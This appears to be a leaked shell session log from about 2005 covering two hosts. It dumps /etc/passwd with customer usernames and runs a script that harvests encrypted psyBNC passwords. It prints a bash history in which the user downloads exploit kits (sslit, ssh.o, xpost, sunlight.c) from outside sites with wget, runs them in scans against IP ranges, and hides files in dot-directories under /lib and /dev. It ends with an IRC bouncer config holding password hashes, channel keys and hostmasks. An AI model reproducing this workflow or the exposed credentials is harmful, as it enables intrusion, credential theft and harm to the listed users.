USER1.ASK.ENTRY0= *!*doni038@*;+0O21242'222f2H2L2Y2Q2`3a3m3n3B2M2@3b
doni038@matrix:~/psybnc$ cd ..
doni038@matrix:~$ ps aux
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
doni038 99104 0.0 0.0 396 212 pc R+ 8:26AM 0:00.00 ps aux
doni038 98277 0.0 0.1 1764 1436 pc Ss 8:24AM 0:00.04 -bash (bash)
doni038 98276 0.0 0.2 4984 1840 ?? S 8:24AM 0:00.05 sshd: doni038@tt
doni038 65446 0.0 0.2 2932 2068 pc- S 11Jan05 1:12.47 ./psybnc
doni038 31213 0.0 0.1 1172 720 ?? Ss 21Dec04 1:59.44 ./mech
doni038 1237 0.0 0.2 3020 2264 p1- S 2Dec04 3:24.29 ./psybnc
doni038@matrix:~$ cat /etc/passwd
# $FreeBSD: src/etc/master.passwd,v 1.25.2.6 2002/06/30 17:57:17 des Exp $
#
root:*:0:0:Charlie &:/root:/usr/local/bin/bash
toor:*:0:0:Bourne-again Superuser:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin
news:*:8:8:News Subsystem:/:/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico
xten:*:67:67:X-10 daemon:/usr/local/xten:/sbin/nologin
pop:*:68:6:Post Office Owner:/nonexistent:/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin
admin:*:501:0:JE ADMIN:/home/admin:/bin/sh
funtoosh:*:1000:1000:The Funny Chap:/home/funtoosh:/usr/local/bin/bash
x:*:1001:1001:viorel:/home/x:/usr/local/bin/bash
postfix:*:125:125:Postfix Mail System:/var/spool/postfix:/sbin/nologin
cronos:*:1002:1002:basic shell part 1 2 bg grphx:/home/cronos:/usr/local/bin/bash
titans:*:1003:1003:basic shell part 2 2 bg grphx 10 sept:/home/titans:/usr/local/bin/bash
mrflu:*:1004:1004:client id 1844 basic shell:/home/mrflu:/usr/local/bin/bash
popsoft:*:1006:1006:client id 1851 ircd 300 64.18.137.201:/home/popsoft:/usr/local/bin/bash
syrus:*:1007:1007:Syrus:/home/syrus:/usr/local/bin/bash
prince:*:1010:1010:client id 1860 basic shell:/home/prince:/usr/local/bin/bash
kwsrl:*:1015:1015:client id 1879 ircd 1500 64.18.137.205:/home/kwsrl:/usr/local/bin/bash
kakix:*:1017:1017:client id 1801 basic shell:/home/kakix:/usr/local/bin/bash
evol:*:1018:1018:client id 1830 and 3913 basic shell upgraded to advance:/home/evol:/usr/local/bin/bash
anog10:*:1021:1021:client id 1891 basic shell:/home/anog10:/usr/local/bin/bash
strega:*:1025:1025:client id 1905 basic shell:/home/strega:/usr/local/bin/bash
cstp:*:1028:1028:client id 1910 basic shell:/home/cstp:/usr/local/bin/bash
vicky:*:1033:1033:clinet id 1916 basic shell:/home/vicky:/usr/local/bin/bash
sn1ck3rs:*:1035:1035:client id 1936 basic shell:/home/sn1ck3rs:/usr/local/bin/bash
syst3m:*:1038:1038:client id 1952 basci shell part 1 2 bg:/home/syst3m:/usr/local/bin/bash
botmaster:*:1039:1039:client id 1952 basci shell part 2 2bg:/home/botmaster:/usr/local/bin/bash
trick:*:1040:1040:Trick:/home/trick:/usr/local/bin/bash
sanity:*:1041:1041:client id 1944 advance shell part 2 3 bg:/home/sanity:/usr/local/bin/bash
wunjo:*:1042:1042:client id 1959 quad basic 2 bg:/home/wunjo:/usr/local/bin/bash
ansuz:*:1043:1043:client id 1959 quad basic 2 bg:/home/ansuz:/usr/local/bin/bash
jamenjaw:*:1044:1044:client id 1960 advance shell part 1 3 bg:/home/jamenjaw:/usr/local/bin/bash
hhr:*:1053:1053:client id 1979 advance shell part 2 3 bg:/home/hhr:/usr/local/bin/bash
linuxfreak:*:1056:1056:client id 1982 advance shell part 2 3 bg:/home/linuxfreak:/usr/local/bin/bash
blackcat:*:1057:1057:client id 1983 advance shell part 12 3 bg:/home/blackcat:/usr/local/bin/bash
dark:*:1058:1058:client id 1943 dual basic:/home/dark:/usr/local/bin/bash
cwarriorx:*:1064:1064:client id 1998 advance shell part 2 3 bg:/home/cwarriorx:/usr/local/bin/bash
angelz:*:1065:1065:client id 1999 advance shell part 2 3 bg:/home/angelz:/usr/local/bin/bash
teaser:*:1067:1067:client id 2001 adv part 2 3 bg:/home/teaser:/usr/local/bin/bash
bc:*:1073:1073:grphx dual basic 24 sept:/home/bc:/usr/local/bin/bash
vamps:*:1074:1074:client id 2015 adv part 2 3 bg:/home/vamps:/usr/local/bin/bash
etapien:*:1077:1077:client id 2018 adv part 2 3 bg:/home/etapien:/usr/local/bin/bash
rolgnav:*:1078:1078:client id 2020 adv part 2 3 bg:/home/rolgnav:/usr/local/bin/bash
suk1e:*:1079:1079:client id 2021 adv part 2 3 bg:/home/suk1e:/usr/local/bin/bash
fobban:*:1082:1082:client id 2024 adv shell part 1 3 bg:/home/fobban:/usr/local/bin/bash
psycho:*:1086:1086:West:/home/psycho:/usr/local/bin/bash
tomz:*:1087:1087:client id 2033 basic shell part 2 2 bg:/home/tomz:/usr/local/bin/bash
ksa:*:1088:1088:client id 1878 tri advance:/home/ksa:/usr/local/bin/bash
ground:*:1013:1013:client id 2022 adv part 1 3 bg:/home/ground:/usr/local/bin/bash
rika1:*:1080:1080:tri gold grphx 28 sept:/home/rika1:/usr/local/bin/bash
yeah:*:1089:1089:client id 2066 dual starter shell:/home/yeah:/usr/local/bin/bash
m0rph:*:1084:1084:client id 2089 starter shell:/home/m0rph:/usr/local/bin/bash
fong718:*:1090:1090:client id 1950 advance shell part 2 3 bg:/home/fong718:/usr/local/bin/bash
toolj23:*:1047:1047:client id 2132 dual starter:/home/toolj23:/usr/local/bin/bash
wizard:*:1092:1092:client id 2106 tri starter:/home/wizard:/usr/local/bin/bash
bighunter:*:1066:1066:client id 2319 dual starter:/home/bighunter:/usr/local/bin/bash
sanni:*:1019:1019:client id 2425 quad starter:/home/sanni:/usr/local/bin/bash
youngm:*:1052:1052:client id 2514 dual starter:/home/youngm:/usr/local/bin/bash
master:*:1030:1030:client id 2153 gold shell:/home/master:/usr/local/bin/bash
vizash:*:1060:1060:client id 2742 tri starter:/home/vizash:/usr/local/bin/bash
phear:*:1011:1011:client id 1981 advance shell part 2 3 bg:/home/phear:/usr/local/bin/bash
kaxig:*:1012:1012:client id 2820 basic shell part 1 2 bg:/home/kaxig:/usr/local/bin/bash
craft3d:*:1014:1014:client id 2820 basic shell part 2 2 bg:/home/craft3d:/usr/local/bin/bash
mgrd:*:1029:1029:client id 1996 adv shell 3 bg:/home/mgrd:/usr/local/bin/bash
indocrew:*:1031:1031:client id 3012 dual starter:/home/indocrew:/usr/local/bin/bash
turb0:*:1032:1032:client id 3055 basic shell:/home/turb0:/usr/local/bin/bash
mr_hanky:*:1026:1026:client id 1976 3 bg:/home/mr_hanky:/usr/local/bin/bash
oldmemphis:*:1048:1048:INT:/home/oldmemphis:/usr/local/bin/bash
int:*:1046:1046:INT:/home/int:/usr/local/bin/bash
doni038:*:1049:1049:client id 3261 starter shell:/home/doni038:/usr/local/bin/bash
shakebab:*:1036:1036:client id 3149 starter shell:/home/shakebab:/usr/local/bin/bash
fgadmin:*:1055:1055:client id 3431 starter shell:/home/fgadmin:/usr/local/bin/bash
xcory0:*:1020:1020:client id 3467 ircd 300 64.18.137.232:/home/xcory0:/usr/local/bin/bash
packzz:*:1061:1061:client id 3483 starter shell:/home/packzz:/usr/local/bin/bash
deadnull:*:1051:1051:client id 3552 starter shell:/home/deadnull:/usr/local/bin/bash
xeor:*:1054:1054:xeor :/home/xeor:/usr/local/bin/bash
jigs:*:1009:1009:cliehnt id 3567 dual baisc:/home/jigs:/usr/local/bin/bash
cyst:*:1027:1027:client id 2322 2 bg:/home/cyst:/usr/local/bin/bash
lucas1:*:1023:1023:client id 1907 basic shell:/home/lucas1:/usr/local/bin/bash
none:*:1037:1037:client id 1773 ircd 1000 64.18.137.202:/home/none:/usr/local/bin/bash
n0ne:*:1008:1008:client id 1773 ircd 1000 64.18.137.202:/home/n0ne:/usr/local/bin/bash
tng:*:1050:1050:client id 73 tri starter shell:/home/tng:/usr/local/bin/bash
fivelo:*:1062:1062:client id 3721 basic shell:/home/fivelo:/usr/local/bin/bash
matrix01:*:1068:1068:client id 3726 starter shell:/home/matrix01:/usr/local/bin/bash
crowley:*:1069:1069:client id 3765 starter shell:/home/crowley:/usr/local/bin/bash
c0ns0le:*:1070:1070:client id 3771 quad starter shell:/home/c0ns0le:/usr/local/bin/bash
tahp78:*:1071:1071:client id 3768 dual gold:/home/tahp78:/usr/local/bin/bash
rwillitt:*:1072:1072:client id 3778 starter shell:/home/rwillitt:/usr/local/bin/bash
meh:*:1075:1075:client id 3799 starter shell:/home/meh:/usr/local/bin/bash
reaction:*:1016:1016:client id 1878 ircd 1500 64.18.137.206:/home/reaction:/usr/local/bin/bash
spawney:*:1059:1059:client id 3911 ircd 200 64.18.137.234:/home/spawney:/usr/local/bin/bash
prophet1:*:1034:1034:client id 3780 ircd 200 64.18.137.235:/home/prophet1:/usr/local/bin/bash
reloaded:*:1005:1005:client id 1962 advance shell:/home/reloaded:/usr/local/bin/bash
alex:*:1022:1022:client id 4073 ircd 300 64.18.137.236:/home/alex:/usr/local/bin/bash
liketti:*:1024:1024:client id 1843 tri basic:/home/liketti:/usr/local/bin/bash
stony:*:1045:1045:client id 1008 1 bg:/home/stony:/usr/local/bin/bash
acidflux:*:1063:1063:client id 4152 1 bg:/home/acidflux:/usr/local/bin/bash
mdurai:*:1076:1076:client id 4161 ircd200 64.18.137.238:/home/mdurai:/usr/local/bin/bash
error:*:1081:1081:client id 1734 gold shell:/home/error:/usr/local/bin/bash
alice:*:1083:1083:client id 4185 ircd 500 64.18.137.239:/home/alice:/usr/local/bin/bash
center:*:1085:1085:client id 4186 dual basic:/home/center:/usr/local/bin/bash
doni038@matrix:~$ uname -a
FreeBSD matrix.sh3lls.net 4.10-STABLE FreeBSD 4.10-STABLE #0: Sun Oct 31 07:24:56 EST 2004 root@matrix.sh3lls.net:/usr/src/sys/compile/SH3LLS2 i386
doni038@matrix:~$ perl /tmp/hehoo/mmm.pl
//usr/home/doni038/www/chati/psybnc.conf (operator) contains encrypted password:`Z`e'h`f1F061I1Q0K
//usr/home/doni038/psybnc/psybnc.conf (operator) contains encrypted password:1h`b`P'x0e0f`O`=`s
//usr/home/doni038/www/chati/psybnc.conf (bin) contains encrypted password:`Z`e'h`f1F061I1Q0K
//usr/home/doni038/psybnc/psybnc.conf (bin) contains encrypted password:1h`b`P'x0e0f`O`=`s
//usr/home/doni038/www/chati/psybnc.conf (tty) contains encrypted password:`Z`e'h`f1F061I1Q0K
//usr/home/doni038/psybnc/psybnc.conf (tty) contains encrypted password:1h`b`P'x0e0f`O`=`s
//usr/home/doni038/www/chati/psybnc.conf (kmem) contains encrypted password:`Z`e'h`f1F061I1Q0K
//usr/home/doni038/psybnc/psybnc.conf (kmem) contains encrypted password:1h`b`P'x0e0f`O`=`s
//usr/home/doni038/www/chati/psybnc.conf (news) contains encrypted password:`Z`e'h`f1F061I1Q0K
//usr/home/doni038/psybnc/psybnc.conf (news) contains encrypted password:1h`b`P'x0e0f`O`=`s
//usr/home/doni038/www/chati/psybnc.conf (bind) contains encrypted password:`Z`e'h`f1F061I1Q0K
//usr/home/doni038/psybnc/psybnc.conf (bind) contains encrypted password:1h`b`P'x0e0f`O`=`s
doni038@matrix:~/.mail$ ssh doni038@echo.kirenet.com
doni038@echo.kirenet.com's password:
Last login: Tue Jan 25 02:50:18 2005 from pool-209-158-25
Welcome to echo.kirenet.com, doni038!
You have just logged into KIRE
..::: Your (K)ey (I)nnovative (R)eliable (E)dge :::..
_________________________ __________________________
.' * KIRE Shell Commands * `. .' * Customer Service * `.
| ------------------------- | | -------------------------- |
| read/write e-mail: 'pine' | | toll free: 1-877-KIRENET |
| linux web browser: 'lynx' | | billing: sales@kirenet.com |
| shell irc apps: 'clients' | | tech: support@kirenet.com |
| auto setup menu: 'setup' | | admins: admins@kirenet.com |
| view vhost list: 'vhosts' | | web: http://www.kire.net |
`._________________________.' `.__________________________.'
Beginning next week, telnet ssh and ftp logins will only
be accepted on the server's hostname, not on any vhosts.
All vhosts will still work correctly after you login.
IMPORTANT ** SCHEDULED OUTAGE ** 12 hour SERVER DOWNTIME
Network Move Downtime: JANUARY 28th 12AM MIDNIGHT - 12PM
For more information, please visit www.kire.net/moving.html
8:59am up 72 days, 23:38, 3 users, load average: 0.21, 0.53, 0.58
[doni038@echo:~] ls -al
total 497
drwx--x--x 5 doni038 users 1024 Jan 25 02:51 ./
drwxr-xr-x 92 root root 3072 Jan 26 18:41 ../
drwx------ 2 doni038 users 1024 Jul 12 2004 .BitchX/
-rw-r--r-- 1 doni038 users 86 Dec 2 22:53 .KillLog
-rw------- 1 doni038 users 84 Dec 2 22:53 .MsgLog
-rw-r--r-- 1 doni038 users 4739 Jan 25 02:59 .bash_history
-rw-r--r-- 1 doni038 users 0 Sep 14 07:54 .bash_profile
-rw-r--r-- 1 doni038 users 34 Jul 8 2004 .less
-rw-r--r-- 1 doni038 users 114 Jul 8 2004 .lessrc
-rw-r--r-- 1 root root 22 Jul 8 2004 .plan
-rw-r--r-- 1 doni038 users 174545 May 27 2004 emech-2.8.5.1.tar.gz
-rw-r--r-- 1 doni038 users 312160 May 31 2004 psyBNC2.3.1.tar.gz.gz
drwxr-xr-x 12 doni038 users 1024 Jan 27 02:30 psybnc/
drwx--x--x 2 doni038 users 1024 Jul 8 2004 public_html/
[doni038@echo:~] cat .bash_history
ps -x
ls -a
pico .bash_history
ls
cd
ls
ls -a
wget http://www.energymech.net/files/emech-2.8.5.1.tar.gz
tar -zxvf emech-2.8.5.1.tar.gz
cd emech-2.8.5.1
./configure
y
y
make
make install
wget http://en-clan.info/mech.set
./genuser M4koLLi.users
./mech
cd ..
ls
wget http://www.
wget http://www.en-clan.info/psyBNC2.3.1.tar.gz.gz
tar -zxvf psyBNC2.3.1.tar.gz.gz
cd psybnc
make
./psybnc
pico psybnc.conf
./psybnc
w
cd ..
ls
cat /etc/hosts
cd /tmp
ls
rm -Rf cw*
ls
ls -a
ls -a
rm -Rf psy*
ls
rm -Rf wr*
rm -Rf wroom.tgz
ls
cd wroom
cd sk8/
ls
cd ..
ls
cd ..
cd /usr
ls
cd /lib/security
cd /usr
cd lib
ls
cd security
mkdir .p
cd ..
ls
cd /lib
ls
mkdir .p
cd ..
ls
cd /dev
cd .p
mkdir .c
mkdir .x
ls
cd /tmp
ls
cd sambal.c
exit
cd /usr/lib
mkdir "."
mkdir .p
cd
cd /tmp
cd /.p
cd .p
wget straja.com/exploits/sslit.tgz
tar -zxvf sslit.tgz
rm -rf sslit.tgz
cd sslit
./sslit 80.65
logout
clients
irc
logout
ls
cd psybnc
ls
cd psybncchk
ls
dir
cd
dir
cd public_html
ls
cd icons
cd
password 7173791059
passwd
passwd
passwd
ls
help
logout
users
ls
dir
clients
bitchx
clients
scrollz
users
cd noflash
ls
cd emech
cd emech-2.8.5.1
ls
kill
cd elita.users
cd Elita.seen
cd psybnc
cd
cd psybnc
ls
./psybnc
cd
;s
;s
ls
cd emech-2.8.5.1
./genuser emech.users
./emech
cd
users
help users
http://www.shellcentral.com/shellhelp/#commands
users
/home2/user/dikissiah
/home2/user/heritech
/home2/user/noflash
/home2/user/doni038
/home2/user/doni038/
ls -al
ps x -
ps -V
ps -A
uptime
users
exit
ls -a
ps -x
cd emech-2.8.5.1
./mech
cd ..
ls
cd /tmp
cd .s
cd .p
cd synscan
ls -a
cat .ssh|grep -v p1|grep -v p2|grep SSH-1.99-OpenSSH_3.0
cd ..
ls
rm -Rf syn*
ls
wget http://www.albachat-efnet.net/memberx/ssh.o
wget http://albachat-efnet.net/ssh.o
mv ssh.o tk
chmod +x tk
./tk
rm -Rf rk
ls
rm -Rf tk
ls
users
wget http://www.en-clan.info/xpost.tgz
cd xpost
tar -zxvf xpost.tgz
cd xpost
cd xwurm
./scan 24.208.139.204
./scan 24.213.75.218
cd
ls
ls -al
logout
ls
cd xpost
cd sslit
cd
wget straja.com/exploits/sslit.tgz
tar -zxvf sslit.tgz
rm -rf sslit.tgz
cd sslit
./sslit 69.139.74.24
./sslit 69.139.74
./sslit 69.139
cd
ls -al
cd xpost
ls
cd
cd psybnc
ls -al
cd psybnc.conf
pic psybnc.conf
exit
cd psybnc
ls
ls -al
cd
ls
ls -al
ls -al
rm xpost
cd psybnc
./psybnc
cd
cd emech-2.8.5.1
ls
ls -al
ls
checkmech
checkmech
checkmech
./genuser
./genuser
./mech
./genuser
*doni038@*
*doni038@*.eggdrops.net
./guser
./genuser
./mech
ls
see
see Doni038!
see Doni038`
help
ls
dir
dyn
see radio21.users
see Radio21.users
checkmech
cp sample.set mech.set
cp emech.users mech.set
cp -r mech.set mech logs genuser randfiles emech.users mkindex mech.levels mech.help ../em/
cp --help
ls
ls -al
cd psybnc
./psybnc
cd
ls -al
ls ussers
users
user
ls user
ls -a
history
ls -a
cd emech-2.8.5.1
ls
ps -x
./mech
w
uname -a
w
cd /home
ls
cd
w
ls
who
exit
ls -a
history
cd /tmp
ls
cd .p
ls
wget www.radiomhz.com/sunlight.c
gcc -0 s sunlight.c
chmod +x sunlight.c
./sunlight.c
gcc -0 sunlight.c
ls -a
./sunlight.c
cd
wget www.radiomhz.com/sunlight.c
gcc -0 s sunlight.c
chmod +x sunlight.c
./sunlight.c
./sunlight.c 80
./sunlight.c 80.80.82
ls -a
rm -Rf sunlight.c
history
ls
cd /tmp
cd .p
ls
gcc sunlight.c -o sunlight -lmysqlclient -I/usr/local/include -L/usr/local/lib/mysql
./x
./s
./s
./sunlight.c
ls
rm -Rf sunlight.c
ls
cd sslit/
ls
cd .
ls
cd ..
ls
exit
setup
cd eggdrop1.6.16
ls -al
set owner
ls
./configure
make config
make
make install
set owner doni038
ls -al
cd /tmp
cd home
cd /home
ls -al
rm -rf ./eggdrop1.1.16
cd doni038
ls -al
cd emech-2.8.5.1
ls -al
ls -a
ps -x
cd emech-2.8.5.1
ls
ps -x
ls
cd psybnc
./psybnc
cd ..
cd emech-2.8.5.1
./mech
ls -al
cd psybnc
./psybnc
cd
ls -al
cd emech-2.8.5.1
ls -al
./emech
./mech
cd
uptime
w
cd home
cd /home
ls -al
cd dooms
ls -al
ls
cd /home
cd wolfman
ls -al
cd
ls -al
rm -rf eggdrop
rm -rf eggdrop1.6.16
ls -al
rm -rf xpost.tgz
rm -rf xpost
rm -rf sslit
ls -al
exit
ls -a
ps -x
cd psybnc
./psybnc
cd ..
cd emech-2.8.5.1
./mech
ps -x
cd psybnc
./psybnc
cd
ls -al
cd emech-2.8.5.1
./mech
cd psybnc
./psybnc
cd
ls -al
cd emech-2.8.5.1
./mech
exit
uname -a
w
vhosts
ls -al
cd .BitchX
ls
ls -al
cd
clients
blackened
w
ls -alal
cd psybnc
ls -al
make menuconfig
exit
ls -al
cd psybnc
make menuconfig
make
./psybnc
./psybnc
make menuconfig
done
done.
make
./psybnc
./psybnc
exit
ps -x
kill -9 3105
kill -9 2816
kill -9 12201
ps -x
ls
cd psybnc
./psybnc
ps -x
w
uname -a
cd /home
ls -al
cd
id
cd /tmp
ls -al
cd .p
ls -al
rm -rf *
cd /tmp
cd .s
ls -al
cd .p
ls -al
cd
cd sk8
rm -rf
ls -al
vi
ls -al
cd .BitchX
ls -al
cd
./limit
limit
ulimit
w
who
exit
logout
uptime
w
who
id
cd /home
ls -al
ps -x
w
who
ls -al
cd emech-2.8.5.1
ls -al
./mech
exit
ls
cd emech-2.8.5.1
ls -al
rm -rf *
ls -al
cd
ls -al
rm -rf emech-2.8.5.1
ls -al
id
exit
[doni038@echo:~] cd psybnc
[doni038@echo:~/psybnc] cat psybnc.conf
PSYBNC.HOSTALLOWS.ENTRY0=*;*
USER1.USER.LOGIN=memberx
USER1.USER.USER=mx @ openbsd. <>
USER1.USER.PASS=='j0b1x`C0b'10R0b00
USER1.USER.RIGHTS=1
USER1.USER.VLINK=0
USER1.USER.PPORT=0
USER1.USER.PARENT=0
USER1.USER.QUITTED=0
USER1.USER.DCCENABLED=1
USER1.USER.AUTOGETDCC=0
USER1.USER.AIDLE=0
USER1.USER.LEAVEQUIT=0
USER1.USER.AUTOREJOIN=1
USER1.USER.SYSMSG=1
USER1.USER.LASTLOG=0
USER1.USER.CERT=+
USER1.USER.AWAY=Gone
USER1.USER.VHOST=echo.kirenet.com
USER1.USER.NICK=Member[x]
USER2.USER.LOGIN=Doni038
USER2.USER.USER=Doni038
USER2.USER.PASS=='X140L'F0U011i03`1
USER2.USER.RIGHTS=1
USER2.USER.VLINK=0
USER2.USER.PPORT=0
USER2.USER.PARENT=0
USER2.USER.QUITTED=0
USER2.USER.DCCENABLED=1
USER2.USER.AUTOGETDCC=0
USER2.USER.AIDLE=0
USER2.USER.LEAVEQUIT=0
USER2.USER.AUTOREJOIN=1
USER2.USER.SYSMSG=1
USER2.USER.LASTLOG=0
USER2.USER.CERT=+
USER2.USER.VHOST=democratos.gr-undernet.org
USER2.USER.AWAYNICK=DoNi038
USER2.USER.AWAY=0,12Sjom Ktu www.KoSoVa.Us soon.....
USER2.USER.NICK=DoNi038
USER2.SERVERS.PORT2=6667
USER2.SERVERS.PORT1=6667
USER2.SERVERS.SERVER1=irc.undernet.org
USER2.SERVERS.SERVER2=Lelystad.NL.EU.UnderNet.Org
USER2.CHANNELS.ENTRY2=#zlm
USER2.CHANNELS.ENTRY3=#blackhats
USER2.CHANNELS.ENTRY6=#sverceri
USER2.CHANNELS.ENTRY1=#ccpower
USER2.CHANNELS.ENTRY4=#caffe
USER2.CHANNELS.ENTRY5=#kosova
USER2.CHANNELS.ENTRY7=#albachat
USER2.CHANNELS.ENTRY0=#albania
USER3.USER.LOGIN=doni038
USER3.USER.USER=www.KoSoVa.us
USER3.USER.PASS=='X140L'F0U011i03`1
USER3.USER.RIGHTS=1
USER3.USER.VLINK=0
USER3.USER.PPORT=0
USER3.USER.PARENT=0
USER3.USER.QUITTED=0
USER3.USER.DCCENABLED=1
USER3.USER.AUTOGETDCC=0
USER3.USER.AIDLE=0
USER3.USER.LEAVEQUIT=0
USER3.USER.AUTOREJOIN=1
USER3.USER.SYSMSG=1
USER3.USER.LASTLOG=0
USER3.USER.CERT=+
USER3.USER.VHOST=echo.kirenet.com
USER3.USER.AWAYNICK=DoNi038
USER3.USER.AWAY=0,12Psybnc online www.KoSoVa.Us
USER3.USER.NICK=\_\
USER3.CHANNELS.ENTRY0=#AlbaChat
USER3.CHANNELS.KEY0=+1G1&13232g292R
USER3.CHANNELS.ENTRY2=#Prishtina
USER3.CHANNELS.KEY2=+1G1&13232g292R
USER3.CHANNELS.ENTRY3=#Kosova
USER3.CHANNELS.KEY3=+1G1&13232g292R
USER3.CHANNELS.ENTRY4=#EraNet
USER3.CHANNELS.KEY4=+1G1&13232g292R
USER3.CHANNELS.ENTRY6=#Net-v2-ork
USER3.CHANNELS.ENTRY9=#Torino
USER3.CHANNELS.KEY9=+1G1&13232g292R
USER3.CHANNELS.ENTRY1=#albahack
USER3.CHANNELS.ENTRY11=#darknet
USER3.CHANNELS.ENTRY10=#shellzone
USER3.CHANNELS.ENTRY5=#yugoslavia
USER3.CHANNELS.ENTRY8=#rusia
USER3.CHANNELS.KEY5=+1e0$1Y1e2f1&
USER3.CHANNELS.ENTRY7=#rofl
USER3.CHANNELS.ENTRY12=#kosovo
USER3.CHANNELS.KEY8=+1e0$1Y1e2f1&
USER4.USER.LOGIN=kurrizi
USER4.USER.USER=KuRrIzI_Pr www.KoSoVa.Us
USER4.USER.PASS=='X140L'F0U011i03`1
USER4.USER.RIGHTS=0
USER4.USER.VLINK=0
USER4.USER.PPORT=0
USER4.USER.PARENT=0
USER4.USER.QUITTED=0
USER4.USER.DCCENABLED=1
USER4.USER.AUTOGETDCC=0
USER4.USER.AIDLE=0
USER4.USER.LEAVEQUIT=0
USER4.USER.AUTOREJOIN=1
USER4.USER.SYSMSG=1
USER4.USER.LASTLOG=0
USER4.USER.CERT=+
USER4.USER.VHOST=mail.eggdrops.net
USER4.USER.AWAYNICK=KuRrIzIpR
USER4.USER.AWAY=Sjom Ktu www.KoSoVa.Us
USER4.USER.NICK=KuRrIzIpR
USER4.SERVERS.SERVER1=irc.blackened.net
USER4.SERVERS.PORT2=6667
USER4.SERVERS.SERVER2=irc.nac.net
USER4.SERVERS.PORT1=6667
USER4.CHANNELS.ENTRY3=#net-v2-ork
USER4.CHANNELS.ENTRY5=#Torino
USER4.CHANNELS.ENTRY0=#albachat
USER4.CHANNELS.KEY0=+1G1&13232g292R
USER4.CHANNELS.ENTRY1=#kosova
USER4.CHANNELS.KEY1=+1G1&13232g292R
USER4.CHANNELS.ENTRY4=#prishtina
USER4.CHANNELS.KEY4=+1G1&13232g292R
USER4.CHANNELS.ENTRY7=#eranet
USER4.CHANNELS.KEY7=+1G1&13232g292R
USER4.CHANNELS.ENTRY2=#yugoslavia
USER4.CHANNELS.KEY2=+1e0$1Y1e2f1&
USER4.CHANNELS.ENTRY8=#shellzone
USER4.CHANNELS.ENTRY10=#rofl
USER4.CHANNELS.ENTRY9=#kosovo
USER4.CHANNELS.ENTRY6=#albahack
USER9.USER.LOGIN=IRCnet
USER9.USER.USER=mx @ openbsd. <>
USER9.USER.PASS=='j0b1x`C0b'10R0b00
USER9.USER.RIGHTS=1
USER9.USER.VLINK=0
USER9.USER.PPORT=0
USER9.USER.PARENT=0
USER9.USER.QUITTED=0
USER9.USER.DCCENABLED=1
USER9.USER.AUTOGETDCC=0
USER9.USER.AIDLE=0
USER9.USER.LEAVEQUIT=0
USER9.USER.AUTOREJOIN=1
USER9.USER.SYSMSG=1
USER9.USER.LASTLOG=0
USER9.USER.CERT=+
USER9.USER.VHOST=phantom.kirenet.com
USER9.USER.AWAY=Gone
USER9.USER.NICK=MemberX
USER9.AOP.ENTRY1=*!*root@62.84.149.110;+0G181P1@1=1z2s2g2M
USER9.AOP.ENTRY2=*!*IRCnet@komp-01.swspiz.ostrowwlkp.pl;+0G181P1@1=1z2s2g2M
USER9.AOP.ENTRY3=*!*pint@sparc01.iuv.uni-bremen.de;+0G181P1@1=1z2s2g2M
USER9.AOP.ENTRY4=*!*IRCnet@203-219-46-30-qld.tpgi.com.au;+0G181P1@1=1z2s2g2M
USER9.AOP.ENTRY5=*!*IRCnet@pb192.sosnowiec.sdi.tpnet.pl;+0G181P1@1=1z2s2g2M
USER9.AOP.ENTRY6=*!*memberx@www.hv.ssf.scout.se;+0G181P1@1=1z2s2g2M
USER9.AOP.ENTRY0=*!*memberx@komp-01.swspiz.ostrowwlkp.pl;+0G181P1@1=1z2s2g2M
USER4.AOP.ENTRY1=*!*memberx@*;+0G1k1J262`232J2h2X2C
USER4.AOP.ENTRY2=*!*doni038@*;+0G1c1V1@1K202I
USER4.AOP.ENTRY3=*!*doni038@*;+0G1i1T2d2e2o2x
USER4.AOP.ENTRY4=*!*doni038@*;+0G1S1N2h1i2k1N1y2E2M2O
USER4.AOP.ENTRY5=*!*doni038@*;+0G1n1X242i2a2P2A2S2K
USER4.AOP.ENTRY6=*!*doni038@*;+0G1Y1X2g2c2j2O
USER4.AOP.ENTRY0=*!*doni038@*;+0G1F1S1&2`222z2m2S
USER3.AOP.ENTRY1=*!*doni038@*;+0G1P1W2g2h2r2A
USER3.AOP.ENTRY2=*!*doni038@*;+0G1U1@272l2d2S2D2V2N
USER3.AOP.ENTRY3=*!*doni038@*;+0G1Y1X2g2c2j2O
USER3.AOP.ENTRY4=*!*doni038@*;+0G1J1Z2'2e282Q
USER3.AOP.ENTRY5=*!*doni038@*;+0G1S1N2h1i2k1N1y2E2M2O
USER3.AOP.ENTRY6=*!*mxbox@*;+0G1F1S1&2`222z2m2S
USER3.AOP.ENTRY7=*!*mxbox@*;+0G1Y1X2g2c2j2O
USER3.AOP.ENTRY8=*!*mxbox@*;+0G1c1V1@2a242M
USER3.AOP.ENTRY9=*!*mxbox@*;+0G1P1W2g2h2r2A
USER3.AOP.ENTRY10=*!*mxbox@*;+0G1S1N2h1i2k1N1y2E2M2O
USER3.AOP.ENTRY11=*!*mxbox@*;+0G1U1@272l2d2S2D2V2N
USER3.AOP.ENTRY12=*!*EfNet@*.net.rol.ru;+0G181P1@1=1z2s2g2M
USER3.AOP.ENTRY13=*!*EfNet@*.net.rol.ru;+0G1r1U2d292g2L
USER3.AOP.ENTRY14=*!*EfNet@*.net.rol.ru;+0G1n1X242i2a2P2A2S2K
USER3.AOP.ENTRY15=*!*EfNet@*.net.rol.ru;+0G1S1N2h1i2k1N1y2H2F
USER3.AOP.ENTRY16=*!*EfNet@*.net.rol.ru;+0G1S1N2h1i2k1N1y2E2M2O
USER3.AOP.ENTRY17=*!*EfNet@*.net.rol.ru;+0G1P1W2g2h2r2A
USER3.AOP.ENTRY18=*!*EfNet@*.net.rol.ru;+0G1J1Z2'2e282Q
